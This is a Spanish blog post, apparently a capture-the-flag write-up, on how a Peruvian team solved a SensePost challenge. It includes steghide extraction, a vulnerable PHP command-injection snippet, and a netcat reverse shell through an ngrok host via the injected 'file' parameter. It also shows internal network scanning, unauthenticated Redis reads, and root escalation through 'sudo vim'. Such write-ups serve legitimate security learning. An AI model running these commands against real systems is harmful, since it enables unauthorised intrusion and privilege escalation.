jueves, 14 de mayo de 2020

Resolviendo Writeup de SensePost - Team Offsec Perú



Hola estimados lectores, en esta oportunidad vamos a mostrar como el grupo de telegram OffSec Perú resolvió un CTF mundial que lanzo la organización "SensePost" el 27 de abril del presente año.

"SensePost es el brazo de consultoría de élite independiente de SecureData, reconocido por su experiencia y trayectoria de 20 años de innovación en la vanguardia de la ciberseguridad."
Más información:


Este reto consta de 4 banderas que debemos obtener por diferentes niveles y mecanismos.

Sitio web del reto:
(14/05/2020 la web por alguna razón esta fuera de servicio)

¿Como supimos de este reto?



El 1 de mayo el Walter lanza un reto al grupo de telegram, en el cual varios integrantes empezamos a resolverlo juntos.

  • Paso 1 recopilación de información

Los archivos *.html podríamos ingresar por defecto al iniciar consecutivamente los retos.



En este punto debíamos pensar como en HTB "Algunas pistas estaban comentadas en el código fuente", dentro del código fuente se encontró una pista en la siguiente etiqueta.

 <h2 class="dw_launch_subeader >Tw0</h2>

Tw0 <------------- (Si el reto fuese peruano, creeríamos que es una palabra tipo Amixer xD)

Pero no este texto estaba en formato Camel-Case.
https://dencode.com/string

¿Qué es Camel-Case?

Es una convención de nomenclatura en la que cada palabra dentro de una palabra compuesta se escribe con mayúscula, excepto la primera palabra

En el cual encontramos la siguiente web!!

! Por mi parte yo saque ese nombre archivo por medio de Fuzzing!

Posteriormente se encontró la siguiente ruta.

https://challenge.sensepost.ninja/256.html

En ese momento todo el equipo pensó que era una pista que significaria que el acceso al sistema lo podríamos hacer por SSH aprovechando una vulnerabilidad a nivel servicio o de usuario (Mala configuración de permisos de ejecución).

Desde este punto.............


Paso 2  Escaneo 

En el fuzzing encontramos un ruta logout.php, que nos redirigía a quinque.php.
https://challenge.sensepost.ninja/quinque.php 

"Encontramos una pista comentada en el código fuente"


En quinque.php teníamos una ruta de un archivo llamado "secrets.txt", que contenía la siguiente cadena.

pero no encontramos un panel de usuario en el sitio web, en este punto un colega del equipo menciono algo interesante "¿encontraron algo en las imagenes de los badge por steganography?" 

Efectivamente dio en el punto clave, dentro de la carpeta imagen "Se encontraron 4 archivos, entre ellos "top_secret.jpeg".

Efectivamente la contraseña "BbR4fZ6g" que encontramos en el archivo secrets.txt nos permitía acceder al flag numero 1.
  • steghide info top_secret.jpeg
  • steghide extract -sf top_secret.jpeg -xf pass.txt


Flag1: SP-d817d9ab83f0eca956c8921492bb1add

Añadimos el Flag en el formulario que estaba en quinque.php

Passed!, en este momento nos dirigió al siguiente 
https://challenge.sensepost.ninja/firstflag.php?file=completedHHF





  • Paso 3  Evaluación

firstflag.php?file= encontramos un Remote Command Execution(RCE) en el parametro get "file"

 ?php

$file=$_GET['file'] . ".html";
system("cat $file");
?


Un RCE permite ejecutar comandos del servidor afectado remotamente.






en ese momento empezó el verdadero desmadre xD

netcat estaba instalado en el servidor, una ventaja para conectarnos remotamente el sistema.

En este punto necesitabamos establecer una conexión WAN, para ello se requirió el uso de Ngrok(Opcional, si no deseas abrir tus puertos en tu router)


Esta herramienta permite establecer una tunelización de nuestra red con el servidor de ngrok para recibir peticiones de entrada a nivel WAN.

  • ./ngrok tcp 9999
  • https://challenge.sensepost.ninja/firstflag.php?file=completedHHF;nc 0.tcp.ngrok.io 13439 -e /bin/bash;

Ejecutamos la conexión en netcat desde el parámetro get afectado con RCE!

Boom tenemos acceso al sistema, en este punto ya no tome capturas porque no pensaba realizar un articulo sobre este CTF.

Aqui encontramos el segundo flag !

https://challenge.sensepost.ninja/firstflag.php?file=|cat ../flag2.txt

  • ls -la 
  • cat flag2.txt

Flag2: SP-4aa672bd2e735cc7a314019f4d11bcae

Desde este punto, vamos aplicar algunos comandos para recopilar archivos o procesos con permisos de usuario.

El usuario actual es www-data, necesitamos ser usuario root para conseguir privilegios y leer los 2 flags restantes.

Pero antes!
  • python -c 'import pty; pty.spawn("/bin/bash")'
El módulo pty permite realizar operaciones para manejar la terminal este nos permitiria iniciar otro proceso, escribir, leer y sobre escribir.

Nos permitirá abrir una terminal bash.
  • find / -perm -u=s -type f 2>/dev/null
Haciendo un reconocimiento del host buscando archivos, procesos en ejecucion, conexiones establecidas, configuraciones, etc., se puedo apreciar mediante netstat que se tenia muchas conexiones de entrada debido a que muchos estaban participando, pero, no se encontro un servidor o un proceso que lleve a pensar que seria el origen de otro flag. Sin embargo, se tenia la pista de uno de los flags mencionando a Redis

En este momento no existía nada en la conexión local, uno de los integrantes realizo un escaneo con nmap.

  • ip a | grep "eth0"
  • nmap 192.168.32.1/24

Se encontró un hostname "redis-server.internal" 
Se procedio a realizar un descubrimiento de hosts en la red y se encontro el 192.168.32.3 con el puerto 6379
  • redis-cli -h 192.168.32.3

Ahora solo nos queda ejecutar las lineas de comandos de redis para verificar el flag.

Efectivamente encontramos claves en la base de datos, para dumpearlas tuvimos que utilizar el comando GET dentro de redis.

  • KEYS *
Muestra todas las keys y ahi sale flag3
  • get flag3
  • get notas

Flag3: SP-d5d8f27b7d7ddb7c925ad6b74a40b7e5

Ahora solo nos quedaba el ultimo flag!, este fue el mas sencillo  simplemente listamos que archivo esta usando el usuario root !
  • sudo -l
Matching Defaults entries for www-data on ebe6a4fbcfa8
:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/

User www-data my run the following commands on ebe6a4fbcfa8:
(root) NOPASSWD: /usr/bin/vim


Abrimos una terminal en bash mediante vim y tendremos acceso root (ya que no requiere una contraseña) y buscamos nuestra flag4.txt
  • sudo vim -c '!sh'
  • find -name "flag4.txt"

Flag4: SP-825b4db3b321b46add5e88c4c007cd73

PASSED!!!
  • Paso 4: Analisis / Reporte(Screenshots)
Once you’ve completed the challenge, email us with the flag/s and screenshots of your victory. Please include your name/handle for our scoreboard. The scoreboard will include a first blood as well as a fastest time to complete the section. Because of the timing element we would appreciate it if you sent us your flags as you collect them.
 
-------------------------------------------------------------------------------------------------------------------------------
Realidad: el paso 3 se hizo al ultimo!! jajajajajaja

El primero en obtener root fue Luis Morales.

Posdata: si existe un hater por ahí.... podríamos a ver hecho primero eso:
  • sudo -l
  • sudo vim -c '!sh'
  • find -name "flag*.txt"

Saludos de parte de todo el team Offsec Perú !


2 comentarios:

Datos del Autor

Estudiante de Ingeniería de computación y sistemas en Perú.
actualmente me estoy dedicando a dar ponencias sobre seguridad Informática.
Soy una persona sencilla y humilde que me encanta aprender nuevos temas en mis tiempos libres.

"Me considero un novato en busca de conocimiento"


Entradas Populares